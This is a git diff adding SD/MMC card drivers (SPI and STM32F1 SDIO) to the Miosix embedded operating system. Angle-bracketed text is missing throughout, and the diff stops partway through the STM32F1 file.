--- /dev/null +++ b/miosix/arch/drivers/sdmmc/lpc2000_sd.cpp @@ -0,0 +1,587 @@ +/* + * Integration in Miosix by Terraneo Federico. + * Based on code by Martin Thomas to initialize SD cards from LPC2000 + */ + +#include "lpc2000_sd.h" +#include "interfaces/bsp.h" +#include "LPC213x.h" +#include "board_settings.h" //For sdVoltage +#include +#include + +//Note: enabling debugging might cause deadlock when using sleep() or reboot() +//The bug won't be fixed because debugging is only useful for driver development +///\internal Debug macro, for normal conditions +//#define DBG iprintf +#define DBG(x,...) do {} while(0) +///\internal Debug macro, for errors only +//#define DBGERR iprintf +#define DBGERR(x,...) do {} while(0) + +namespace miosix { + +///\internal Type of card (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC +static unsigned char cardType=0; + +/* + * Definitions for MMC/SDC command. + * A command has the following format: + * - 1 bit @ 0 (start bit) + * - 1 bit @ 1 (transmission bit) + * - 6 bit which identify command index (CMD0..CMD63) + * - 32 bit command argument + * - 7 bit CRC + * - 1 bit @ 1 (end bit) + * In addition, ACMDxx are the sequence of two commands, CMD55 and CMDxx + * These constants have the following meaninig: + * - bit #7 @ 1 indicates that it is an ACMD. send_cmd() will send CMD55, then + * clear this bit and send the command with this bit @ 0 (which is start bit) + * - bit #6 always @ 1, because it is the transmission bit + * - remaining 6 bit represent command index + */ +#define CMD0 (0x40+0) /* GO_IDLE_STATE */ +#define CMD1 (0x40+1) /* SEND_OP_COND (MMC) */ +#define ACMD41 (0xC0+41) /* SEND_OP_COND (SDC) */ +#define CMD8 (0x40+8) /* SEND_IF_COND */ +#define CMD9 (0x40+9) /* SEND_CSD */ +#define CMD10 (0x40+10) /* SEND_CID */ +#define CMD12 (0x40+12) /* STOP_TRANSMISSION */ +#define CMD13 (0x40+13) /* SEND_STATUS */ +#define ACMD13 (0xC0+13) /* SD_STATUS (SDC) */ +#define CMD16 (0x40+16) /* SET_BLOCKLEN */ +#define CMD17 (0x40+17) /* READ_SINGLE_BLOCK */ +#define CMD18 (0x40+18) /* READ_MULTIPLE_BLOCK */ +#define CMD23 (0x40+23) /* SET_BLOCK_COUNT (MMC) */ +#define ACMD23 (0xC0+23) /* SET_WR_BLK_ERASE_COUNT (SDC) */ +#define CMD24 (0x40+24) /* WRITE_BLOCK */ +#define CMD25 (0x40+25) /* WRITE_MULTIPLE_BLOCK */ +#define CMD42 (0x40+42) /* LOCK_UNLOCK */ +#define CMD55 (0x40+55) /* APP_CMD */ +#define CMD58 (0x40+58) /* READ_OCR */ + +// SSPCR0 Bit-Definitions +#define CPOL 6 +#define CPHA 7 +// SSPCR1 Bit-Defintions +#define SSE 1 +#define MS 2 +#define SCR 8 +// SSPSR Bit-Definitions +#define TNF 1 +#define RNE 2 +#define BSY 4 + +#define SPI_SCK_PIN 17 // SCK P0.17 out +#define SPI_MISO_PIN 18 // MISO P0.18 in +#define SPI_MOSI_PIN 19 // MOSI P0.19 out +#define SPI_SS_PIN 20 // CS p0.20 out + +#define SPI_SCK_FUNCBIT 2 +#define SPI_MISO_FUNCBIT 4 +#define SPI_MOSI_FUNCBIT 6 +#define SPI_SS_FUNCBIT 8 + +///\internal Maximum speed 14745600/2=7372800 +#define SPI_PRESCALE_MIN 2 + +///\internal Select/unselect card +#define CS_LOW() IOCLR0 = (1<0x00FF) + print_error_code((unsigned char)(value>>8)); + else + DBGERR("Unknown error 0x%x\n",value); + break; + } + return -1; +} + +/** + * \internal + * Wait until card is ready + */ +static unsigned char wait_ready() +{ + unsigned char result; + spi_1_send(0xff); + for(int i=0;i<460800;i++)//Timeout ~500ms + { + result=spi_1_send(0xff); + if(result==0xff) return 0xff; + if(i%500==0) DBG("*\n"); + } + DBGERR("Error: wait_ready()\n"); + return result; +} + +/** + * \internal + * Send a command to the SD card + * \param cmd one among the #define'd commands + * \param arg command's argument + * \return command's r1 response. If command returns a longer response, the user + * can continue reading the response with spi_1_send(0xff) + */ +static unsigned char send_cmd(unsigned char cmd, unsigned int arg) +{ + unsigned char n, res; + if(cmd & 0x80) + { // ACMD is the command sequence of CMD55-CMD + cmd&=0x7f; + res=send_cmd(CMD55,0); + if(res>1) return res; + } + + // Select the card and wait for ready + CS_HIGH(); + CS_LOW(); + + if(cmd==CMD0) + { + //wait_ready on CMD0 seems to cause infinite loop + spi_1_send(0xff); + } else { + if(wait_ready()!=0xff) return 0xff; + } + // Send command + spi_1_send(cmd); // Start + Command index + spi_1_send((unsigned char)(arg >> 24)); // Argument[31..24] + spi_1_send((unsigned char)(arg >> 16)); // Argument[23..16] + spi_1_send((unsigned char)(arg >> 8)); // Argument[15..8] + spi_1_send((unsigned char)arg); // Argument[7..0] + n=0x01; // Dummy CRC + Stop + if (cmd==CMD0) n=0x95; // Valid CRC for CMD0(0) + if (cmd==CMD8) n=0x87; // Valid CRC for CMD8(0x1AA) + spi_1_send(n); + // Receive response + if (cmd==CMD12) spi_1_send(0xff); // Skip a stuff byte when stop reading + n=10; // Wait response, try 10 times + do + res=spi_1_send(0xff); + while ((res & 0x80) && --n); + return res; // Return with the response value +} + +/** + * \internal + * Receive a data packet from the SD card + * \param buf data buffer to store received data + * \param byte count (must be multiple of 4) + * \return true on success, false on failure + */ +static bool rx_datablock(unsigned char *buf, unsigned int btr) +{ + unsigned char token; + for(int i=0;i<0xffff;i++) + { + token=spi_1_send(0xff); + if(token!=0xff) break; + } + if(token!=0xfe) return false; // If not valid data token, retutn error + + do { // Receive the data block into buffer + *buf=spi_1_send(0xff); buf++; + *buf=spi_1_send(0xff); buf++; + *buf=spi_1_send(0xff); buf++; + *buf=spi_1_send(0xff); buf++; + } while(btr-=4); + spi_1_send(0xff); // Discard CRC + spi_1_send(0xff); + + return true; // Return success +} + +/** + * \internal + * Send a data packet to the SD card + * \param buf 512 byte data block to be transmitted + * \param token data start/stop token + * \return true on success, false on failure + */ +static bool tx_datablock (const unsigned char *buf, unsigned char token) +{ + unsigned char resp; + if(wait_ready()!=0xff) return false; + + spi_1_send(token); // Xmit data token + if (token!=0xfd) + { // Is data token + for(int i=0;i<256;i++) + { // Xmit the 512 byte data block + spi_1_send(*buf); buf++; + spi_1_send(*buf); buf++; + } + spi_1_send(0xff); // CRC (Dummy) + spi_1_send(0xff); + resp=spi_1_send(0xff); // Receive data response + if((resp & 0x1f)!=0x05) // If not accepted, return error + return false; + } + return true; +} + +// +// class SPISDDriver +// + +intrusive_ref_ptr SPISDDriver::instance() +{ + static KernelMutex m; + static intrusive_ref_ptr instance; + Lock l(m); + if(!instance) instance=new SPISDDriver(); + return instance; +} + +ssize_t SPISDDriver::readBlock(void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + unsigned char *buf=reinterpret_cast(buffer); + Lock l(mutex); + DBG("SPISDDriver::readBlock(): nSectors=%d\n",nSectors); + if(!(cardType & 8)) lba*=512; // Convert to byte address if needed + unsigned char result; + if(nSectors==1) + { // Single block read + result=send_cmd(CMD17,lba); // READ_SINGLE_BLOCK + if(result!=0) + { + print_error_code(result); + CS_HIGH(); + return -EBADF; + } + if(rx_datablock(buf,512)==false) + { + DBGERR("Block read error\n"); + CS_HIGH(); + return -EBADF; + } + } else { // Multiple block read + //DBGERR("Mbr\n");//debug only + result=send_cmd(CMD18,lba); // READ_MULTIPLE_BLOCK + if(result!=0) + { + print_error_code(result); + CS_HIGH(); + return -EBADF; + } + do { + if(!rx_datablock(buf,512)) break; + buf+=512; + } while(--nSectors); + send_cmd(CMD12,0); // STOP_TRANSMISSION + if(nSectors!=0) + { + DBGERR("Multiple block read error\n"); + CS_HIGH(); + return -EBADF; + } + } + CS_HIGH(); + return size; +} + +ssize_t SPISDDriver::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + const unsigned char *buf=reinterpret_cast(buffer); + Lock l(mutex); + DBG("SPISDDriver::writeBlock(): nSectors=%d\n",nSectors); + if(!(cardType & 8)) lba*=512; // Convert to byte address if needed + unsigned char result; + if(nSectors==1) + { // Single block write + result=send_cmd(CMD24,lba); // WRITE_BLOCK + if(result!=0) + { + print_error_code(result); + CS_HIGH(); + return -EBADF; + } + if(tx_datablock(buf,0xfe)==false) // WRITE_BLOCK + { + DBGERR("Block write error\n"); + CS_HIGH(); + return -EBADF; + } + } else { // Multiple block write + //DBGERR("Mbw\n");//debug only + if(cardType & 6) send_cmd(ACMD23,nSectors);//Only if it is SD card + result=send_cmd(CMD25,lba); // WRITE_MULTIPLE_BLOCK + if(result!=0) + { + print_error_code(result); + CS_HIGH(); + return -EBADF; + } + do { + if(!tx_datablock(buf,0xfc)) break; + buf+=512; + } while(--nSectors); + if(!tx_datablock(0,0xfd)) // STOP_TRAN token + { + DBGERR("Multiple block write error\n"); + CS_HIGH(); + return -EBADF; + } + } + CS_HIGH(); + return size; +} + +int SPISDDriver::ioctl(int cmd, void* arg) +{ + DBG("SPISDDriver::ioctl()\n"); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + CS_LOW(); + unsigned char result=wait_ready(); + CS_HIGH(); + if(result==0xff) return 0; + else return -EFAULT; +} + +SPISDDriver::SPISDDriver() : Device(Device::BLOCK) +{ + const int MAX_RETRY=20;//Maximum command retry before failing + spi_1_init(); /* init at low speed */ + unsigned char resp; + int i; + for(i=0;i * + ***************************************************************************/ + +#ifndef SD_LPC2000_H +#define SD_LPC2000_H + +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for interfacing to an SD card through SPI + */ +class SPISDDriver : public Device +{ +public: + /** + * \return an instance to this class, singleton + */ + static intrusive_ref_ptr instance(); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + /** + * Constructor + */ + SPISDDriver(); + + KernelMutex mutex; +}; + +} //namespace miosix + +#endif //SD_LPC2000_H diff --git a/miosix/arch/drivers/sdmmc/spi_sd.h b/miosix/arch/drivers/sdmmc/spi_sd.h new file mode 100644 index 000000000..d9ff0b343 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/spi_sd.h @@ -0,0 +1,610 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ +/* + * Integration in Miosix by Terraneo Federico. + * Based on code by Martin Thomas to initialize SD cards from LPC2000 + */ + +#pragma once + +#include +#include +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for interfacing to an SD card through SPI + */ +template +class SPISD: public Device +{ +public: + // Constructor + SPISD(std::unique_ptr spi, GpioPin cs); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + //Note: enabling debugging might cause deadlock when using sleep() or reboot() + //The bug won't be fixed because debugging is only useful for driver development + + ///\internal When set to 1, enables error messages. + ///When set to 2, enables debug messages as well. + static const int dbgLevel=0; + + /** + * \internal Debug print, for normal conditions + */ + static inline void dbg(const char *fmt, ...) noexcept + { + if(dbgLevel<2) return; + va_list arg; + va_start(arg,fmt); + viprintf(fmt,arg); + va_end(arg); + } + + /** + * \internal Debug print, for errors only + */ + static inline void dbgerr(const char *fmt, ...) noexcept + { + if(dbgLevel<1) return; + va_list arg; + va_start(arg,fmt); + viprintf(fmt,arg); + va_end(arg); + } + + /** + * \internal + * Used for debugging, print 8 bit error code from SD card + */ + static void printErrorCode(unsigned char value) noexcept; + + /** + * \internal + * Return 1 if card is OK, otherwise print 16 bit error code from SD card + */ + char readSdStatus() noexcept; + + /** + * \internal + * Wait until card is ready + */ + unsigned char waitForCardReady() noexcept; + + /** + * \internal + * Send a command to the SD card + * \param cmd one among the #define'd commands + * \param arg command's argument + * \return command's r1 response. If command returns a longer response, the user + * can continue reading the response with spi->sendRecv(0xff) + */ + unsigned char sendCmd(unsigned char cmd, unsigned int arg) noexcept; + + /** + * \internal + * Receive a data packet from the SD card + * \param buf data buffer to store received data + * \param byte count (must be multiple of 4) + * \return true on success, false on failure + */ + bool readDataPacket(unsigned char *buf, unsigned int btr) noexcept; + + /** + * \internal + * Send a data packet to the SD card + * \param buf 512 byte data block to be transmitted + * \param token data start/stop token + * \return true on success, false on failure + */ + bool sendDataPacket(const unsigned char *buf, unsigned char token) noexcept; + + /* + * Definitions for MMC/SDC command. + * A command has the following format: + * - 1 bit @ 0 (start bit) + * - 1 bit @ 1 (transmission bit) + * - 6 bit which identify command index (CMD0..CMD63) + * - 32 bit command argument + * - 7 bit CRC + * - 1 bit @ 1 (end bit) + * In addition, ACMDxx are the sequence of two commands, CMD55 and CMDxx + * These constants have the following meaninig: + * - bit #7 @ 1 indicates that it is an ACMD. sendCmd() will send CMD55, then + * clear this bit and send the command with this bit @ 0 (which is start bit) + * - bit #6 always @ 1, because it is the transmission bit + * - remaining 6 bit represent command index + */ + unsigned char CMD0 = (0x40 + 0); // GO_IDLE_STATE + unsigned char CMD1 = (0x40 + 1); // SEND_OP_COND (MMC) + unsigned char ACMD41 = (0xC0 + 41); // SEND_OP_COND (SDC) + unsigned char CMD8 = (0x40 + 8); // SEND_IF_COND + unsigned char CMD9 = (0x40 + 9); // SEND_CSD + unsigned char CMD10 = (0x40 + 10); // SEND_CID + unsigned char CMD12 = (0x40 + 12); // STOP_TRANSMISSION + unsigned char CMD13 = (0x40 + 13); // SEND_STATUS + unsigned char ACMD13 = (0xC0 + 13); // SD_STATUS (SDC) + unsigned char CMD16 = (0x40 + 16); // SET_BLOCKLEN + unsigned char CMD17 = (0x40 + 17); // READ_SINGLE_BLOCK + unsigned char CMD18 = (0x40 + 18); // READ_MULTIPLE_BLOCK + unsigned char CMD23 = (0x40 + 23); // SET_BLOCK_COUNT (MMC) + unsigned char ACMD23 = (0xC0 + 23); // SET_WR_BLK_ERASE_COUNT (SDC) + unsigned char CMD24 = (0x40 + 24); // WRITE_BLOCK + unsigned char CMD25 = (0x40 + 25); // WRITE_MULTIPLE_BLOCK + unsigned char CMD42 = (0x40 + 42); // LOCK_UNLOCK + unsigned char CMD55 = (0x40 + 55); // APP_CMD + unsigned char CMD58 = (0x40 + 58); // READ_OCR + + std::unique_ptr spi; + GpioPin cs; + KernelMutex mutex; + ///\internal Type of card + /// - 0=no card + /// - (1<<0)=MMC + /// - (1<<1)=SDv1 + /// - (1<<2)=SDv2 + /// - (1<<2)|(1<<3)=SDHC + unsigned char cardType=0; +}; + +template +void SPISD::printErrorCode(unsigned char value) noexcept +{ + switch(value) + { + case 0x40: + dbgerr("Parameter error\n"); + break; + case 0x20: + dbgerr("Address error\n"); + break; + case 0x10: + dbgerr("Erase sequence error\n"); + break; + case 0x08: + dbgerr("CRC error\n"); + break; + case 0x04: + dbgerr("Illegal command\n"); + break; + case 0x02: + dbgerr("Erase reset\n"); + break; + case 0x01: + dbgerr("Card is initializing\n"); + break; + default: + dbgerr("Unknown error 0x%x\n",value); + break; + } +} + +template +char SPISD::readSdStatus() noexcept +{ + short value=sendCmd(CMD13,0); + value<<=8; + value|=spi->sendRecv(0xff); + + switch(value) + { + case 0x0000: + return 1; + case 0x0001: + dbgerr("Card is Locked\n"); + /*//Try to fix the problem by erasing all the SD card. + char e=sendCmd(CMD16,1); + if(e!=0) printErrorCode(e); + e=sendCmd(CMD42,0); + if(e!=0) printErrorCode(e); + spi->sendRecv(0xfe); // Start block + spi->sendRecv(1<<3); //Erase all disk command + spi->sendRecv(0xff); // Checksum part 1 + spi->sendRecv(0xff); // Checksum part 2 + e=spi->sendRecv(0xff); + iprintf("Reached here 0x%x\n",e);//Should return 0xe5 + while(spi->sendRecv(0xff)!=0xff);*/ + break; + case 0x0002: + dbgerr("WP erase skip or lock/unlock cmd failed\n"); + break; + case 0x0004: + dbgerr("General error\n"); + break; + case 0x0008: + dbgerr("Internal card controller error\n"); + break; + case 0x0010: + dbgerr("Card ECC failed\n"); + break; + case 0x0020: + dbgerr("Write protect violation\n"); + break; + case 0x0040: + dbgerr("Invalid selection for erase\n"); + break; + case 0x0080: + dbgerr("Out of range or CSD overwrite\n"); + break; + default: + if(value>0x00FF) + printErrorCode((unsigned char)(value>>8)); + else + dbgerr("Unknown error 0x%x\n",value); + break; + } + return -1; +} + +template +unsigned char SPISD::waitForCardReady() noexcept +{ + unsigned char result; + // Backoff of 10us; do not use Thread::sleep, too few cycles + for(int i=0;i<10;i++) + { + result=spi->sendRecv(0xff); + if(result==0xff) return 0xff; + delayUs(10); + } + long long t=0, backoff=10*1000; + while(t<=500*1000*1000) // Timeout 500ms + { + result=spi->sendRecv(0xff); + if(result==0xff) return 0xff; + if(result!=0) { delayUs(10); continue; } + // exponential backoff + Thread::nanoSleep(backoff); + t+=backoff; + backoff=backoff+backoff/16; // backoff*=1.0625; + } + dbgerr("Error: waitForCardReady() timeout\n"); + return 0; +} + +template +unsigned char SPISD::sendCmd(unsigned char cmd, unsigned int arg) noexcept +{ + unsigned char n, res; + if(cmd & 0x80) + { // ACMD is the command sequence of CMD55-CMD + cmd&=0x7f; + res=sendCmd(CMD55,0); + if(res>1) return res; + } + + // Select the card and wait for ready + cs.high(); + cs.low(); + + if(cmd==CMD0) + { + //waitForCardReady on CMD0 seems to cause infinite loop + spi->sendRecv(0xff); + } else { + if(waitForCardReady()!=0xff) return 0xff; + } + // Send command + unsigned char buf[6]; + buf[0]=cmd; // Start + Command index + buf[1]=(unsigned char)(arg >> 24); // Argument[31..24] + buf[2]=(unsigned char)(arg >> 16); // Argument[23..16] + buf[3]=(unsigned char)(arg >> 8); // Argument[15..8] + buf[4]=(unsigned char)arg; // Argument[7..0] + n=0x01; // Dummy CRC + Stop + if (cmd==CMD0) n=0x95; // Valid CRC for CMD0(0) + if (cmd==CMD8) n=0x87; // Valid CRC for CMD8(0x1AA) + buf[5]=n; + spi->send(buf,6); + // Receive response + if (cmd==CMD12) spi->sendRecv(0xff); // Skip a stuff byte when stop reading + n=10; // Wait response, try 10 times + do + res=spi->sendRecv(0xff); + while ((res & 0x80) && --n); + return res; // Return with the response value +} + +template +bool SPISD::readDataPacket(unsigned char *buf, unsigned int btr) noexcept +{ + unsigned char token; + for(int i=0;i<0xffff;i++) + { + token=spi->sendRecv(0xff); + if(token!=0xff) break; + } + if(token!=0xfe) return false; // If not valid data token, retutn error + + spi->recv(buf,btr); + spi->sendRecv(0xff); // Discard CRC + spi->sendRecv(0xff); + + return true; // Return success +} + +template +bool SPISD::sendDataPacket(const unsigned char *buf, unsigned char token) noexcept +{ + unsigned char resp; + if(waitForCardReady()!=0xff) return false; + + spi->sendRecv(token); // Xmit data token + if (token!=0xfd) + { // Is data token + spi->send(buf,512); + spi->sendRecv(0xff); // CRC (Dummy) + spi->sendRecv(0xff); + resp=spi->sendRecv(0xff); // Receive data response + if((resp & 0x1f)!=0x05) // If not accepted, return error + return false; + } + return true; +} + +template +ssize_t SPISD::readBlock(void* buffer, size_t size, off_t where) +{ + if(cardType==0) return -EIO; + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + unsigned char *buf=reinterpret_cast(buffer); + Lock l(mutex); + dbg("%s:%d: nSectors=%d\n",__FILE__,__LINE__,nSectors); + if(!(cardType & 8)) lba*=512; // Convert to byte address if needed + unsigned char result; + if(nSectors==1) + { // Single block read + result=sendCmd(CMD17,lba); // READ_SINGLE_BLOCK + if(result!=0) + { + printErrorCode(result); + cs.high(); + return -EBADF; // TODO: we always return EBADF, shouldn't it be EIO? + } + if(readDataPacket(buf,512)==false) + { + dbgerr("Block read error\n"); + cs.high(); + return -EBADF; + } + } else { // Multiple block read + //dbgerr("Mbr\n");//debug only + result=sendCmd(CMD18,lba); // READ_MULTIPLE_BLOCK + if(result!=0) + { + printErrorCode(result); + cs.high(); + return -EBADF; + } + do { + if(!readDataPacket(buf,512)) break; + buf+=512; + } while(--nSectors); + sendCmd(CMD12,0); // STOP_TRANSMISSION + if(nSectors!=0) + { + dbgerr("Multiple block read error\n"); + cs.high(); + return -EBADF; + } + } + cs.high(); + return size; +} + +template +ssize_t SPISD::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(cardType==0) return -EIO; + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + const unsigned char *buf=reinterpret_cast(buffer); + Lock l(mutex); + dbg("%s:%d: nSectors=%d\n",__FILE__,__LINE__,nSectors); + if(!(cardType & 8)) lba*=512; // Convert to byte address if needed + unsigned char result; + if(nSectors==1) + { // Single block write + result=sendCmd(CMD24,lba); // WRITE_BLOCK + if(result!=0) + { + printErrorCode(result); + cs.high(); + return -EBADF; + } + if(sendDataPacket(buf,0xfe)==false) // WRITE_BLOCK + { + dbgerr("Block write error\n"); + cs.high(); + return -EBADF; + } + } else { // Multiple block write + //DBGERR("Mbw\n");//debug only + if(cardType & 6) sendCmd(ACMD23,nSectors); //Only if it is SD card + result=sendCmd(CMD25,lba); // WRITE_MULTIPLE_BLOCK + if(result!=0) + { + printErrorCode(result); + cs.high(); + return -EBADF; + } + do { + if(!sendDataPacket(buf,0xfc)) break; + buf+=512; + } while(--nSectors); + if(!sendDataPacket(0,0xfd)) // STOP_TRAN token + { + dbgerr("Multiple block write error\n"); + cs.high(); + return -EBADF; + } + } + cs.high(); + return size; +} + +template +int SPISD::ioctl(int cmd, void* arg) +{ + if(cardType==0) return -EIO; + dbg("%s\n",__PRETTY_FUNCTION__); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + cs.low(); + unsigned char result=waitForCardReady(); + cs.high(); + if(result==0xff) return 0; + else return -EFAULT; +} + +template +SPISD::SPISD(std::unique_ptr movedSpi, GpioPin cs) + : Device(Device::BLOCK), spi(std::move(movedSpi)), cs(cs) +{ + cs.high(); + cs.mode(Mode::OUTPUT); + + spi->setBitrate(100*1000); // 100 kHz SPI speed + + // Send 160 clocks (should be at least 74) to exit from pre-init mode. + // Newer cards seem not to care if this is done, but older cards do. + for(int i=0;i<20;i++) spi->sendRecv(0xFF); + + unsigned char resp; + int i; + for(i=0;i<20;i++) + { + resp=sendCmd(CMD0,0); + if(resp==1) break; + } + dbg("CMD0 required %d commands\n",i+1); + + if(resp!=1) + { + printErrorCode(resp); + dbgerr("Init failed\n"); + cs.high(); + return; //Error + } + unsigned char n, cmd, ty=0, ocr[4]; + // Enter Idle state + if(sendCmd(CMD8,0x1aa)==1) + { /* SDHC */ + for(n=0;n<4;n++) ocr[n]=spi->sendRecv(0xff); // Get return value of R7 resp + if((ocr[2]==0x01)&&(ocr[3]==0xaa)) + { // The card can work at vdd range of 2.7-3.6V + for(i=0;i<200;i++) + { + resp=sendCmd(ACMD41, 1UL << 30); + if(resp==0) + { + if(sendCmd(CMD58,0)==0) + { // Check CCS bit in the OCR + for(n=0;n<4;n++) ocr[n]=spi->sendRecv(0xff); + if(ocr[0] & 0x40) + { + ty=12; + dbg("SDHC, block addressing supported\n"); + } else { + ty=4; + dbg("SDHC, no block addressing\n"); + } + } else dbgerr("CMD58 failed\n"); + break; //Exit from for + } else { + printErrorCode(resp); + Thread::sleep(10); + } + } + if(i==200) dbgerr("ACMD41 timeout\n"); + else dbg("ACMD41 required %d commands\n",i+1); + } else dbgerr("CMD8 failed\n"); + } else { /* SDSC or MMC */ + if(sendCmd(ACMD41,0)<=1) + { + ty=2; + cmd=ACMD41; /* SDSC */ + dbg("SD card\n"); + } else { + ty=1; + cmd=CMD1; /* MMC */ + dbg("MMC card\n"); + } + for(i=0;i<200;i++) + { + resp=sendCmd(cmd,0); + if(resp==0) + { + if(sendCmd(CMD16,512)!=0) + { + ty=0; + dbgerr("CMD16 failed\n"); + } + break; //Exit from for + } else { + printErrorCode(resp); + Thread::sleep(10); + } + } + dbg("CMD required %d commands\n",i+1); + } + + if(ty==0) + { + cs.high(); + return; //Error + } + cardType=ty; + + if(readSdStatus()<0) + { + dbgerr("Status error\n"); + cs.high(); + return; //Error + } + + cs.high(); + //Configure the SPI interface to use at most 25MHz speed + spi->setBitrate(25*1000*1000); + + dbg("Init done...\n"); +} + +} // namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32f1_sd.cpp b/miosix/arch/drivers/sdmmc/stm32f1_sd.cpp new file mode 100644 index 000000000..d93427462 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32f1_sd.cpp @@ -0,0 +1,1771 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32f1_sd.h" +#include "interfaces/bsp.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces/delays.h" +#include "kernel/thread.h" +#include "board_settings.h" //For sdVoltage +#include +#include +#include + +/* + * This driver is quite a bit complicated, due to a silicon errata in the + * STM32F1 microcontrollers, that prevents concurrent access to the FSMC + * (i.e., the external memory controller) by both the CPU and DMA. + * Therefore, if __ENABLE_XRAM is defined, the SDIO peripheral is used in + * polled mode, otherwise in DMA mode. The use in polled mode is further + * complicated by the fact that the SDIO peripheral does not halt the clock + * to the SD card if its internal fifo is full. Therefore, when using the + * SDIO in polled mode the only solution is to disable interrupts during + * the data transfer. To optimize reading and writing speed this code + * automatically chooses the best transfer speed using a binary search during + * card initialization. Also, other sources of mess are the requirement for + * word alignment of pointers when doing DMA transfers or writing to the SDIO + * peripheral. Because of that, tryng to fwrite() large bloks of data is faster + * if they are word aligned. An easy way to do so is to allocate them on the + * heap (and not doing any pointer arithmetic on the value returned by + * malloc/new) + */ +#ifndef __ENABLE_XRAM +#define SD_DMA +#endif //__ENABLE_XRAM + +//Note: enabling debugging might cause deadlock when using sleep() or reboot() +//The bug won't be fixed because debugging is only useful for driver development +///\internal Debug macro, for normal conditions +//#define DBG iprintf +#define DBG(x,...) do {} while(0) +///\internal Debug macro, for errors only +//#define DBGERR iprintf +#define DBGERR(x,...) do {} while(0) + +namespace miosix { + +#ifdef SD_DMA +static volatile bool driverError; ///< \internal Errors caused by OS issues (premature wakeup) +static volatile bool dmaTransferError; ///< \internal DMA transfer error +static volatile bool sdioTransferError; ///< \internal SDIO transfer error +static Thread *waiting; ///< \internal Thread waiting for transfer +static unsigned int dmaFlags; ///< \internal DMA status flags +static unsigned int sdioFlags; ///< \internal SDIO status flags + +/** + * \internal + * DMA2 Channel4 interrupt handler actual implementation + */ +void DMA2channel4irqImpl() +{ + dmaFlags=DMA2->ISR; + if(dmaFlags & DMA_ISR_TEIF4) dmaTransferError=true; + + DMA2->IFCR=DMA_IFCR_CGIF4; + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +/** + * \internal + * DMA2 Channel4 interrupt handler actual implementation + */ +void SDIOirqImpl() +{ + sdioFlags=SDIO->STA; + if(sdioFlags & (SDIO_STA_STBITERR | SDIO_STA_RXOVERR | + SDIO_STA_TXUNDERR | SDIO_STA_DTIMEOUT | SDIO_STA_DCRCFAIL)) + sdioTransferError=true; + + SDIO->ICR=0x7ff;//Clear flags + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} +#endif //SD_DMA + +/* + * Operating voltage of device. It is sent to the SD card to check if it can + * work at this voltage. Range *must* be within 28..36 + * Example 33=3.3v + */ +//const unsigned char sdVoltage=33; //Is defined in board_settings.h +const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR register in SD spec + +/** + * \internal + * Possible state of the cardType variable. + */ +enum CardType +{ + Invalid=0, ///<\internal Invalid card type + MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC + SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 + SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 + SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC +}; + +///\internal Type of card. +static CardType cardType=Invalid; + +//SD card GPIOs +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef 